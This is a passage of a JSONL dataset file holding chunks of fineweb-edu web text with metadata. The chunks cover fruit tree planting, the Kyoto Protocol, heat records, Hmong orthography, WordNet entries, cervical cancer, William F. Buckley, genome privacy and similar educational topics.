on dwarf or semi - dwarf rootstocks. if the tree is planted too deep and the graft union is below the soil line, the scion variety will form roots and the tree will become a standard - sized tree. filling the hole what should you put in the planting hole? only roots, clean soil and water! never put any fertilizer in the planting hole. if the soil is poor, you can mix in peat moss or thoroughly conditioned compost before filling the hole. a ratio of up to 50 / 50 peat to soil may be beneficial. trim off any broken or damaged roots before planting. place the tree in the hole, and after making sure that the depth is correct, fill the hole with clean topsoil. it is helpful at this stage to have someone hold the tree straight while the hole is being filled. pack the soil in the hole by gently stamping it with your feet. after the hole is filled, water the tree with two to five gallons of water, poured slowly enough so that the water doesn \u2019 t run off. care and pruning all newly planted fruit trees will benefit from being staked. this will result in a straighter tree with more growth. staking is especially important for trees planted on a wind - blown site and for dwarf fruit trees. consider a strong permanent stake for dwarf fruit trees. after the tree has started to grow ( in about two weeks ) you can apply a nitrogen fertilizer. apply one ounce of actual nitrogen in a 12 - inch circle around the base of the tree, and make sure the tree is well - watered after fertilizing. all nitrogen fertilizer should be applied before mid - june. late application of nitrogen can lead to late - season growth, and the tree may not harden off in time to withstand winter. watering the new tree is important to help get it started, especially in the first few weeks after planting. a good rule is to apply five gallons of water around the base of the tree every week of the growing season in which there is less than an inch of rainfall. apples and pears are usually trained as central leader or cone - shaped trees. if the tree is an unbranched \u201c whip, \u201d prune the stem to a height of 30 to 36 inches above the soil line. this will stimulate the buds just below the cut", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.43600340849105024, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.173797"} {"text": "are usually trained as central leader or cone - shaped trees. if the tree is an unbranched \u201c whip, \u201d prune the stem to a height of 30 to 36 inches above the soil line. this will stimulate the buds just below the cut to grow. the top bud will grow vertically and form the leader, or trunk of the tree. the next one or two buds can be rubbed off with the fingers to prevent them from competing with the leader. the buds that grow out below the top two or three should be retained to form the scaffold branches. remove branches that grow out below a height of 18 inches from the ground. bend the branches that remain to an angle of 45 to 65 degrees from vertical using clothespins, toothpicks or small weights. this keeps these branches from growing so strongly that they compete with the leader, and it stimulates flower production. stone fruit trees ( peaches, plums ) are usually trained as open - center ( vase - shaped ) trees. two or three side branches are selected, and the remainder of the tree is cut off just above the top branch. contact your county extension office for other bulletins on training and pruning fruit trees. weeds compete with young trees for water and nutrients. a weed - free zone should be established at the base of the tree that extends out to form a circle with a diameter of two to three feet. mulch, herbicide or cultivation may be used to prevent weeds. managing disease and insects usually doesn \u2019 t become a big challenge until the trees begin to fruit. newly planted trees need to be protected against attack by leaf - feeding insects, such as gypsy moths and japanese beetles. inspect the trees on a regular basis to see if there is fresh damage, and contact your university of maine cooperative extension county office for help in identifying and controlling any pests you find. apple trees can become infected with a fungus disease, scab, that damages both leaves and fruit. control of scab is very important when the trees come into bearing. however, in severe cases, young, non - bearing trees can become defoliated by scab. this can stunt the trees and delay fruiting. protect the tree trunk against girdling by rodents. spiral mouse guards, made of white plastic, are a popular and inexpensive option. the white color helps prevent winter injury to the trunk. however, this type of mouse guard should be removed during the summer and re - fitted in the fall to prevent it from becoming a safe haven for trunk - boring insects,", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4317889207438815, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.175294"} {"text": "popular and inexpensive option. the white color helps prevent winter injury to the trunk. however, this type of mouse guard should be removed during the summer and re - fitted in the fall to prevent it from becoming a safe haven for trunk - boring insects, such as the round - headed apple borer. an alternative solution is to paint the trunk with white interior latex paint and wrap the trunk with an 18 - inch tall piece of galvanized hardware cloth. this type of mouse guard doesn \u2019 t need to be removed in summer. deer can cause major damage to young fruit trees by feeding on the developing shoots and leaves in summer, and by browsing the fruit buds in winter. while repellents, such as small bars of hand soap, or small cloth bags of human hair, can deter hungry deer, sturdy fencing is the only long - term solution to possible deer damage. information in this publication is provided purely for educational purposes. no responsibility is assumed for any problems associated with the use of products or services mentioned. no endorsement of products or companies is intended, nor is criticism of unnamed products or companies implied. published and distributed in furtherance of cooperative extension work, acts of congress of may 8 and june 30, 1914, by the university of maine and the u. s. department of agriculture cooperating. cooperative extension and other agencies of the usda provide equal opportunities in programs and employment. call 800 - 287 - 0274 or tdd 800 - 287 - 8957 ( in maine ), or 207 - 581 - 3188, for information on publications and program offerings from university of maine cooperative extension, or visit extension. umaine. edu. the university of maine does not discriminate on the grounds of race, color, religion, sex, sexual orientation, including transgender status and gender expression, national origin, citizenship status, age, disability, genetic information or veteran \u2019 s status in employment, education, and all other programs and activities. the following person has been designated to handle inquiries regarding non - discrimination policies : director, office of equal opportunity, 101 north stevens hall, 581 - 1226. image description : print friendly image description : apples ripening on the tree ; photo by edwin remsberg, usda image description : illustration showing the proper depth for planting", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4328827497254677, "token_count": 463, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.176688"} {"text": "the kyoto mechanisms under the protocol, countries must meet their targets primarily through national measures. however, the protocol also offers them an additional means to meet their targets by way of three market - based mechanisms. the kyoto mechanisms are : the mechanisms help to stimulate green investment and help parties meet their emission targets in a monitoring emission targets under the protocol, countries ' actual emissions have to be monitored and precise records have to be kept of the trades carried out. registry systems track and record transactions by parties under the mechanisms. the un climate change secretariat, based in bonn, germany, keeps an international transaction log to verify that transactions are consistent with the rules of the protocol. reporting is done by parties by submitting annual emission inventories and national reports under the protocol at regular intervals. a compliance system ensures that parties are meeting their commitments and helps them to meet their commitments if they have problems doing so. the kyoto protocol, like the convention, is also designed to assist countries in adapting to the adverse effects of climate change. it facilitates the development and deployment of technologies that can help increase resilience to the impacts of climate fund was established to finance adaptation projects and programmes in developing countries that are parties to the kyoto protocol. in the first commitment period, the fund was financed mainly with a share of proceeds from cdm project activities. in doha, in 2012, it was decided that for the second commitment period, international emissions trading and joint implementation would also provide the adaptation fund with a 2 percent share of proceeds. the road ahead the kyoto protocol is seen as an important first step towards a truly global emission reduction regime that will stabilize ghg emissions, and can provide the architecture for the future international agreement on in durban, the ad hoc working group on the durban platform for enhanced action ( adp ) was established to develop a protocol, another legal instrument or an agreed outcome with legal force under the convention, applicable to all parties. the adp is to complete its work as early as possible, but no later than 2015, in order to adopt this protocol, legal instrument or agreed outcome with legal force at the twenty - first session of the conference of the parties and for it to come into effect and be implemented from 2020. more information on targets", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48978511989082973, "token_count": 445, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.179974"} {"text": "how horrid? july on pace to be hottest month on record the usa is closing in on its hottest month in recorded history. with five days to go in july, preliminary data show that the heat could top records set decades ago : \" the warmest july for the contiguous u. s. was in 1936, when the nationally averaged temperature was 77. 43 degrees, 3. 14 degrees above the 20th - century average, \" said climate scientist jake crouch of the national climatic data center. preliminary data from the center show the national temperature for the first three weeks of july was 3. 63 degrees above the 1971 - 2000 average. if the heat continues, and after the data are more closely analyzed and more final numbers come in, that would top july 1936. five cities \u2014 st. louis, indianapolis chicago, detroit and denver \u2014 are all on pace to shatter their all - time monthly heat records. \" it ' s hotter here than it is in arizona, \" mary dominis complained earlier this month while visiting chicago from tempe. st. louis is seeing some unbelievable heat this summer : on wednesday, the city hit 108 degrees, weather underground meteorologist jeff masters said. \" this marked the 11th day this summer in st. louis with temperatures of at least 105 degrees, \" he said, \" beating the old record of 10 such days in 1934. \" there was some relief in st. louis on thursday : the temperature didn ' t break 100. twenty - four people have died from the heat in st. louis so far this summer. through monday, there have been 3, 740 record daily high temperatures set across the nation this month, compared with only 211 record lows, weather channel meteorologist guy walton said. it ' s been unusually hot even in torrid death valley, calif. on july 12 the low temperature at death valley dropped to just 107 degrees after hitting a high of 128 degrees the previous day, masters said. not only did the morning low temperature tie a record for the world ' s warmest low temperature ever recorded, the average temperature of 117. 5 degrees was the world ' s warmest 24 - hour temperature on record. the climate prediction center is forecasting more \" excessive heat \" in nebraska, kansas, oklahoma, missouri and arkansas over the weekend and into early next week. contributing : the associated press", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.39957184374942656, "token_count": 472, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.183727"} {"text": "viticulture - n. : the cultivation or culture of grapes enology - n. : a science that deals with wine and wine making the v & e department combines the sciences of viticulture and enology in a single research and teaching unit that encompasses all of the scientific disciplines that impact grape growing and winemaking. for over one hundred years the university of california has maintained an active and productive program in research and education in viticulture and enology. the continuing excellence of the department has enabled california growers and vintners to develop practices that have allowed the golden state to achieve its potential and become a premier wine - producing region. the enology culture collection, housed in the department of viticulture and enology, is an extensive collection of wine yeast and bacteria from around the world. strains are stored as live frozen cultures. it contains more than 2000 yeast strains and over 200 bacterial strains. recently we have begun to add the important fungus botrytis cinerea to the collection as well. lucy joseph manages the collection, under the direction of professor linda f. bisson with consultation from dr. david mills and dr. r. e. kunkee. this collection has been in the viticulture and enology department since the 1930 \u2019 s and was originally derived from professor cruess \u2019 yeast collection in the university of california \u2019 s fruit products divi...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5249031719956805, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.190144"} {"text": "tsheb nqaj hlau a word from vocabulary white hmong white hmong entries in this field appear in the romanized popular alphabet designed by linguists working in laos and thailand in the 1950s. it is more widely used than any other orthography by white hmong people in the diaspora. for the most part, the values of the symbols are what one would expect ( so < c > is in fact a voiceless palatal stop and < q > is in fact a voiceless uvular stop ), with the following exceptions : 1 ) since there is only one possible final consonant in a hmong word \u2014 [ \u014b ] \u2014 consonant symbols in word - final position have been used to indicate tones : high level < - b >, high falling < - j >, mid rising < - v >, low level < - s >, mid level < - \u00f8 >, falling breathy < - g >, and low creaky < - m >. 2 ) the final [ \u014b ] is indicated by a doubling of the vowel : < - oo - > is thus [ o\u014b ]. 3 ) certain symbols have special values : 4 ) in prenasalized clusters, the nasal is always written < n >, even though it assimilates to the following consonant ( npua \u2018 pig \u2019 is thus pronounced [ mpua ] ). additional writing conventions ( users of the rpa orthography differ in these practices ) 1 ) no space is used between morphemes if that is the conservative spelling convention ( dabtsi \u2018 what \u2019, pojniam \u2018 wife \u2019, menyuam \u2018 child \u2019 ) 2 ) a hyphen is used between morphemes if the word a. has an affix ( typically, a prefix ) b. is a phonological unit : the tone of the first word has changed the tone of the second c. is an expressive : the form of each morpheme is dependent on the form of the other d. is a reduplication 3 ) in all other cases, a space is inserted between two morphemes, even if it is judged to be a compound either because the meaning of the whole cannot be deduced from the meaning of its parts, or because the two members of the compound are synonyms. | tsheb nqaj hlau | 1 ) a two - word entry is labeled analyzable derived if a. the first morpheme is a noun class prefix or a reciprocal b", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5370075739434677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.198415"} {"text": "two members of the compound are synonyms. | tsheb nqaj hlau | 1 ) a two - word entry is labeled analyzable derived if a. the first morpheme is a noun class prefix or a reciprocal b. the last morpheme is the chinese nominal suffix txwm c. it is an expressive ( derived by rule ) d. it is a reduplication ( derived by rule ) 2 ) a two - word entry is labeled an analyzable compound if a. no space is used between morphemes in conventional spelling b. it is a phonological unit : the tone of the first word has changed the tone of the second c. the meaning of the whole cannot be deduced from the meaning of the individual words ( even though the meaning of the words seems to be clear ) d. the two words are synonyms 3 ) all other entries of two or more morphemes are labeled analyzable phrasal. this is somewhat arbitrary : for example, pas dej \u2018 pool water \u2019 is called a phrase because does not pass any of the tests in ( 2 ) above, but it often acts as a unit, and is what anyone will give as the equivalent of \u2018 lake \u2019. use of \u201c? \u201d a question mark is entered in lieu of a gloss for a morpheme or a compound where the morpheme or both components of the compound are completely opaque, such as foom koob hmoov \u2018 to bless \u2019 [ seal / fix +? - good. luck ], where only koob is opaque, or kab laug - sab \u2018 a spider that makes a web \u2019 [ bug +? ], where both laug and sab are opaque. | tsheb + nqaj + hlau [ vehicle + rail + iron ] |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5756810971189354, "token_count": 380, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.199704"} {"text": "key : \" s : \" = show synset ( semantic ) relations, \" w : \" = show word ( lexical ) relations display options for sense : ( gloss ) \" an example sentence \" - s : ( n ) approach, attack, plan of attack ( ideas or actions intended to deal with a problem or situation ) \" his approach to every problem is to draw up a list of pros and cons \" ; \" an attack on inflation \" ; \" his plan of attack was misguided \" - s : ( n ) approach, approaching, coming ( the act of drawing spatially closer to something ) \" the hunter ' s approach scattered the geese \" - s : ( n ) access, approach ( a way of entering or leaving ) \" he took a wrong turn on the access to the bridge \" - s : ( n ) approach path, approach, glide path, glide slope ( the final path followed by an aircraft as it is landing ) - s : ( n ) approach, approaching ( the event of one object coming closer to another ) - s : ( n ) overture, advance, approach, feeler ( a tentative suggestion designed to elicit the reactions of others ) \" she rejected his advances \" - s : ( n ) approach, approaching, coming ( the temporal property of becoming nearer in time ) \" the approach of winter \" - s : ( n ) approach ( a close approximation ) \" the nearest approach to genius \" - s : ( n ) approach, approach shot ( a relatively short golf shot intended to put the ball onto the putting green ) \" he lost the hole when his approach rolled over the green \" - s : ( v ) approach, near, come on, go up, draw near, draw close, come near ( move towards ) \" we were approaching our destination \" ; \" they are drawing near \" ; \" the enemy army came nearer and nearer \" - s : ( v ) border on, approach ( come near or verge on, resemble, come nearer in quality, or character ) \" this borders on discrimination! \" ; \" his playing approaches that of horowitz \" - s : ( v ) set about, go about, approach ( begin to deal with ) \" approach a task \" ; \" go about a difficult problem \" ; \" approach a new project \" - s : ( v ) approach, come near ( come near in time ) \" winter is approaching \" ; \" approaching old age \" - s : ( v ) approach ( make advances to someone, usually with a proposal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6154016783814101, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.207476"} {"text": "key : \" s : \" = show synset ( semantic ) relations, \" w : \" = show word ( lexical ) relations display options for sense : ( gloss ) \" an example sentence \" - s : ( n ) scale, scale of measurement, graduated table, ordered series ( an ordered reference standard ) \" judging on a scale of 1 to 10 \" - s : ( n ) scale ( relative magnitude ) \" they entertained on a grand scale \" - s : ( n ) scale ( the ratio between the size of something and a representation of it ) \" the scale of the map \" ; \" the scale of the model \" - s : ( n ) scale, scale leaf ( a specialized leaf or bract that protects a bud or catkin ) - s : ( n ) scale, scurf, exfoliation ( a thin flake of dead epidermis shed from the surface of the skin ) - s : ( n ) scale, musical scale ( ( music ) a series of notes differing in pitch according to a specific scheme ( usually within an octave ) ) - s : ( n ) scale, weighing machine ( a measuring instrument for weighing ; shows amount of mass ) - s : ( n ) scale ( an indicator having a graduated sequence of marks ) - s : ( n ) plate, scale, shell ( a metal sheathing of uniform thickness ( such as the shield attached to an artillery piece to protect the gunners ) ) - s : ( n ) scale ( a flattened rigid plate forming part of the body covering of many animals ) - s : ( v ) scale ( measure by or as if by a scale ) \" this bike scales only 25 pounds \" - s : ( v ) scale ( pattern, make, regulate, set, measure, or estimate according to some rate or standard ) - s : ( v ) scale ( take by attacking with scaling ladders ) \" the troops scaled the walls of the fort \" - s : ( v ) scale, surmount ( reach the highest point of ) \" we scaled the mont blanc \" - s : ( v ) scale ( climb up by means of a ladder ) - s : ( v ) scale, descale ( remove the scales from ) \" scale fish \" - s : ( v ) scale ( measure with or as if with scales ) \" scale the gold \" - s : ( v ) scale ( size or measure according to a scale ) \" this model must be scaled down \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.631986067432406, "token_count": 499, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.214169"} {"text": "cervical cancer - overview when you \u2019 re informed, you \u2019 re empowered. for the complete word on cervical cancer - including information on prevention, symptoms, and how to fight it - explore this reference center. at first, getting the facts on cervical cancer can seem like an overwhelming task. but it \u2019 s critically important that you understand the disease, your risk factors, and what you can do to prevent ( or fight ) this type of cancer. so, we have broken down our library of facts into smaller, easy - to - understand elements. cervical cancer is a highly preventable form of gynecologic cancer that begins in the cervix. ( the cervix is found in the lower, narrow end of the uterus. it connects the upper part of the uterus to the vagina or birth canal. ) when cervical cancer is found early, it is highly treatable and associated with long survival and good quality of life. every woman has some risk for developing cervical cancer. but certain factors can increase that risk. most instances of cervical cancer occur in women age 30 or older. the human papillomavirus ( hpv ) is the main cause of cervical cancer. it is a common virus that can be passed from one person to another during sexual activity. in addition to genital warts, hpv can cause vaginal and vulvar cancers. and most researchers believe that there are even more cancers possibly linked to hpv. there are over 100 strains of hpv. some are considered low risk, others high risk. it is important to note, however, that while hpv infection is common in women, it rarely results in cervical cancer. other risk factors include : - having multiple sex partners - smoking ( increases hpv risk, inhibits ability to surpass infection, and lessens the effectiveness of treatment ) - weakened immune system ( due to hiv or medication that can weaken the immune system ) - not receiving regular pap tests, as recommended by your doctor, increases the risk of hpv infection progressing into cervical cancer cervical cancer is highly preventable. to lower your chances of developing it, make sure you : - consult your doctor about getting vaccinated for hpv - get recommended pap testing to screen for cervical precancer - follow up with your doctor if you have abnormal pap test results - limit sexual partners - do not smokelast updated on thursday, 04 august 2011 15 : 33", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4842174092496976, "token_count": 495, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.218866"} {"text": "most active stories sat december 17, 2011 william f. buckley, father of american conservatism when william f. buckley burst onto the national scene in 1955, conservatism was a dead letter in american politics. \" lots of people thought that it was outdated, anachronistic, prehistoric, foolish, not very intelligent, \" carl bogus tells weekends on all things considered host guy raz. bogus is the author of a new biography, called buckley : william f. buckley and the rise of american conservatism. he says that back in the 1950s and 1960s, there really was an established liberal elite in america, which controlled both political parties. buckley set out to change that. as a recent yale graduate, he published a book called god and man at yale, which took the university to task for failing to promote christianity and free market economics. \" he collapsed in that book religion, economics and political ideology, \" bogus says, producing the mix of ideas we recognize today as conservatism : free - market capitalism, support for american military actions, libertarianism, and social conservatism. \" it was buckley who made that coalition. he held within him all... of those beliefs. he was what we call today a neoconservative, a social conservative and a libertarian. \" buckley founded the magazine national review to popularize those beliefs and create a kind of conservative intelligentsia that could bring renewed attention and respectability to the movement. to do that, bogus says, he had to marginalize the people he felt made conservatism look bad \u2014 the reactionary john birch society and ayn rand ' s atheist objectivists, all of whom he attacked repeatedly in the pages of national review. but both buckley and his magazine held views that did not reflect well on conservatism. though he later reconsidered his position, buckley at first was staunchly opposed to the civil rights movement. \" the magazine is, from today ' s perspective, quite shocking in its views about race, \" bogus says. buckley became one of the most public faces of conservatism, through both national review and firing line, the public television program he hosted for more than 30 years. firing line featured guests ranging from margaret thatcher to groucho marx, as well as buckley ' s signature slouched and rambling interview style. \" it was sort of, how shall i put this, prep - school senior style, \" bogus says. \" someone", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.418973807167536, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.224421"} {"text": "shots - health blog thu october 11, 2012 bioethicists call for privacy protections for personal genomes when a stranger can gain access to someone ' s entire genetic code by picking up a used coffee cup, it presents a whole new thicket of concerns about privacy and security. actually, we ' re already there, though we ' re still in the early stages of what ' s shaping up, after all the years of hype, as a genuine revolution. just take a look at rob stein ' s recent series on the $ 1, 000 genome to see how far we ' ve come and where we ' re headed. a sample of saliva taken from a coffee cup or a q - tip is enough for technicians to reveal someone ' s genes, for better and for worse. reuters ' sharon begley points to easydna, a california company, that ' s already doing ancestry, health and paternity testing on samples ranging from cigarette butts to licked stamps. against that backdrop, the presidential commission for the study of bioethical issues just released recommendations on how the country should proceed along the genomic path. yes, whole genome sequencing may help refine diagnosis and treatment, though there are still plenty of technical and medical hurdles to overcome before that ' s commonplace. between now and then, safeguards are needed before whole genome sequencing becomes widespread, the commission says. in a letter to president obama, the commission chairs say the group, \" recommends strong baseline protections for whole genome sequence data to protect individual privacy and data security while also leaving ample room for data sharing opportunities that propel scientific and medical progress. \" some specific ideas from the commission : - federal and state governments should establish a \" floor of privacy protections covering whole genome sequence data regardless of how they were obtained. \" - prohibit unauthorized whole genome sequencing without the consent of the person whose sample is being analyzed. ( hands off my coffee cup! ) - the people who sequence your genome need to tell you up front that it ' s likely there will be potentially worrisome \" incidental findings \" in the results. so - called incidentalomas are quite common when radiologists scan patients. since everyone has genetic mutations, the whole genome sequences are bound to find something quirky on everyone. when obtaining your consent, the researchers, doctors or commercial genome sequencers need to explain when and how they ' ll tell you about those findings.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5324392405525247, "token_count": 483, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.230071"} {"text": "letting wetlands disappear life without wetlands? take these important functions away, and chaos ensues. polluted water kills fish. migratory birds abandon the area and either go elsewhere or die out. the disappearance of wildlife eventually leads to people ' s food supplies being disrupted or destroyed and their livelihoods ruined. wetland pollution ultimately brings death and disease to human, plant, and animal communities across the world. a case in point is the aral sea in central asia - the most polluted area of water on earth. once known as the blue sea, it was the world ' s fourth largest freshwater lake. but in just 30 years, it has shrunk to less than half its size and has become as salty as any ocean. as the water retracted and evaporated, it left in its wake 3. 6 million ha of polluted soil that is swept up by fierce storms and dumped on the surrounding land. food is now scarce, infant mortality is on the increase and life expectancy is declining - by as much as 20 years, according to some experts. this ecological catastrophe has been caused by decades of mismanagement and neglect, such as the excessive diversion of water for irrigation schemes, the indiscriminate pollution of rivers that flow into the sea, and the abstraction of vast amounts of water for power generation. the united nations, world bank, and european union are working with concerned governments in an international effort to restore the aral sea ' s ecological balance, replenish natural resources, and deal with public health, water, pesticides, and other urgent matters before it really is too late. watch video of the dramatic evaporation of the aral sea from 1973 to 2001 ( credit : nasa / goddard space flight center scientific visualization studio )", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4275328759212894, "token_count": 355, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.234107"} {"text": "a high - risk pregnancy is one in which there ' s a higher chance of complications. you can lower your risk by avoiding certain lifestyle factors, like smoking, drinking, using drugs, or being routinely exposed to dangerous chemicals. various medical conditions can result in a high - risk pregnancy, such as high blood pressure, diabetes, r - h disease, and severe kidney or heart disease. a woman with these problems will likely experience a worsening of that condition during pregnancy. women with a previous stillbirth, or who ' ve had a premature or low birth weight infant should also be closely monitored. other risk factors include being under age 15 or over 35, having twins, or being three weeks or more overdue. infections during pregnancy pose still another hazard, including rubella, herpes, hepatitis - b, toxoplasmosis ( tox - oh - plaz - moe - sis ), and aids. although pregnancy is a normal, natural state, it puts stress on even a healthy body, due to changes in blood volume, hormone balance, and mechanical pressure. an expectant mother with a high - risk pregnancy may want to select an obstetrician ( ob - steh - trih - shun ) who ' s skilled in handling such complications. finally, some women may not develop problems until labor. for more information on high - risk pregnancy, consult a health care provider.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43723575401307385, "token_count": 284, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.236824"} {"text": "it might seem to some that the life of the early scotch - irish in america was one of misery, hardship, and persecution, particularly if the lives of those in maine or worcester are our only point of reference. in those places the pioneer had to deal with harsh winters, hostile native americans and an established church which was almost as unfriendly as the church of ireland. if we read the history of the 1718 emigrants in londonderry or chester, pennsylvania, on the other hand, we read of relative peace, established farms, and religious freedom. what is striking is that one group of people who shared a similar past in ireland, and experienced the mutual bond of sailing the treacherous ocean, could experience lives in the new land that were amazingly diverse. after four years of researching this special group, i have come to realize that any limiting description of this ethnic group would be false. they were farmers, grocers, blacksmiths, servants, pastors, ship builders, judges, linen merchants, sailors and fishermen. some were rich enough to pay for passage to america for themselves, and others had to indenture themselves as servants to eke out an existence. researching the people who became the ' melting pot ' of america has to be done with a broad mind and open eyes. c. k. bolton in the scotch - irish pioneers provides a clearer view of their financial status. based on the records from the early boston newspapers, and the writings of cotton mather and thomas lechmere we gain an interesting insight into the financial means of the emigrants. newspaper advertisements clearly show that there was a willingness among the 1718 emigrants to ' rent ' their services as indentured servants. this common practice among their english neighbours was a means to gain financial security, and establish their own independence. usually for the term of seven years, the servant would work for a master, gain some savings, and earn the right to be a freeman and establish a home where he so chose. the newspapers of boston and philadelphia are also full of advertisements showing that seven years was too much time for some of our scotch - irish brethren. unfortunately, later articles do not mention if the runaway servants are ever returned. however, this means of procuring financing on american shores was not the only source of wealth. the 1718 emigrants of new hampshire, pennsylvania, maine and massachusetts were primarily families with the means to quickly establish their homesteads and businesses. one of the primary records for the 1718 group from ireland is the conolly papers in proni", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47393414329707906, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.244677"} {"text": "wealth. the 1718 emigrants of new hampshire, pennsylvania, maine and massachusetts were primarily families with the means to quickly establish their homesteads and businesses. one of the primary records for the 1718 group from ireland is the conolly papers in proni [ conolly papers, t2825 / c ]. in august 1718, robert mccausland lists men who have sold their interest in their rented lands and are either preparing for departure or have actually gone to america. these emigrants came from \u201c two nearly contiguous estates stretching from the waterside of derry city to the mouth of the river roe \u201d. these papers clearly prove that the 1718 emigrants were generally not the poor and indigent. at least in this first group of emigrants, many of the scotch - irish were well - to - do ; they had sold their lands and holdings and provided the financial means for the emigration of many of their fellow emigrants. thanks to richard mcmaster, and his article in ' the journal of scotch - irish studies ' vol. 1 no. 1 spring 2000 pgs. 18 - 23 ; american researchers can now understand how so many 1718 emigrants came to new england and immediately established homes, purchased land and developed business sites. early american researchers, such as c. k. bolton [ pgs. 132 - 144 ], had mentioned the possibility that the emigrants were reasonably well off ; the lechmere letters described by bolton show a group of emigrants aware of the value of their service, and unwilling to lower their demands for payment, regardless of their status as newcomers. the conolly papers prove that some of the 1718 emigrants were indeed relatively prosperous. back to top", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4103043844477171, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.246597"} {"text": "a proven process to develop eq self - science \u2014 so named because emotional intelligence grows from the scientific study of our relationships and ourselves \u2014 is one of the few comprehensive, developmental, and research - based curricula for creating a school - wide culture of emotional intelligence. daniel goleman studied self - science in one school and wrote an entire chapter of his best - selling book, emotional intelligence, about the concepts. goleman writes : \u201c self - science is a pioneer, an early harbinger of an idea that is spreading to schools coast to coast \u2026. a list of the contents of self - science is an almost point - for - point match with the ingredients of emotional intelligence \u2014 and with the core skills recommended as primary prevention for the range of pitfalls threatening children \u2026. were he alive today, aristotle, so concerned with emotional skillfulness, might well approve. \u201d he also calls the program \u201c a model for the teaching of emotional intelligence. \u201d self - science was first published in 1978 and has been used by hundreds of schools around the globe ; this third edition revises and updates the curriculum to be more teacher - friendly and cohesive with the six seconds model of emotional intelligence. in this kit, schools will find the foundation to build an effective social - emotional learning program. unlike most \u201c packaged programs, \u201d self - science is a process with a clear competency model and a methodology that can be adapted and integrated into the classroom and school. with minimal training and support, teachers will be able to learn a practical framework and process for teaching these invaluable social and emotional competencies. when effectively implemented, self - science creates a powerful shift in the learning environment toward collaboration, inclusion, and humanism, which significantly reduces destructive behavior while also increasing academic performance. in one study, 100 % of the teachers said self - science increased cooperation and improved classroom relationships. seventy five percent said after using the program, both violence and \u201c put - downs \u201d decreased, plus students became more focused and their achievement improved. self - science is a proven approach to increase social and emotional skills. self - science is also used as the foundation for whole - school improvement projects to create a more respectful, responsible, and resilient school community. rather than telling children what not to do, self - science provides multiple options of what to do. it helps children become more aware of themselves and make more conscious decisions about the ways they think, feel, and act independently and interdependently. nationally and internationally, parents and teachers are increasingly", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4626317186080807, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.251732"} {"text": "one thorny question is how to pay for these new technologies. much of the cost may fall on taxpayers. the recently enacted health care bill contains several provisions that may help quicken the adoption of aging - related technologies, including portable digital health care records and tele - medicine. in the long term, though, technology could save money. as people age they often suffer from multiple chronic conditions, requiring a variety of medical specialists. currently, alwan says, few technologies help doctors coordinate patient care. that in turn leads to repeated procedures, unnecessary hospital readmissions and increased costs. \" physician a doesn ' t know what physician b has prescribed for the same individual, \" alwan said. \" that causes medical errors. \" the hitech provision ( health information technology for economic and clinical health ) of the stimulus law calls for the creation and standardization of electronic health records. medicare and medicaid will give physicians and 